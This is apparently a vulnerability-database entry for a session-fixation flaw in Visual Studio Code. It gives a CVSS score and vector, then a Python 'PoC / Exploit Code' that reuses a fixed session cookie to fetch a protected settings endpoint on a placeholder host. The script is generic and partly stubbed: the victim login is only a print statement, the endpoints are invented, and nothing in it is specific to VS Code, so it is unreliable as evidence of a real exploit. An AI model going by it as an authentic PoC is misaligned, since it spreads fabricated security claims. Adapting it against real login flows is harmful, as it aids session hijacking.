Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Visual Studio Code (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target endpoint simulation
target_login_url = "https://vscode.example.com/login"
protected_resource_url = "https://vscode.example.com/api/settings"
# Step 1: Attacker sets a specific session ID
fixed_session_id = "fixed_session_12345"
cookies = {"sessionid": fixed_session_id}
# Step 2: Victim logs in using the attacker's session ID
# In a real scenario, the victim would submit credentials here.
# The application fails to regenerate the session ID upon successful auth.
print("[*] Simulating victim login with fixed session ID...")
# Step 3: Attacker attempts to access the resource using the known session ID
print("[*] Attacker attempting to access resource...")
response = requests.get(protected_resource_url, cookies=cookies)
if response.status_code == 200:
print("[+] Exploit successful! Session Fixation confirmed.")
print(f"[+] Data leaked: {response.text[:100]}")
else:
print("[-] Exploit failed.")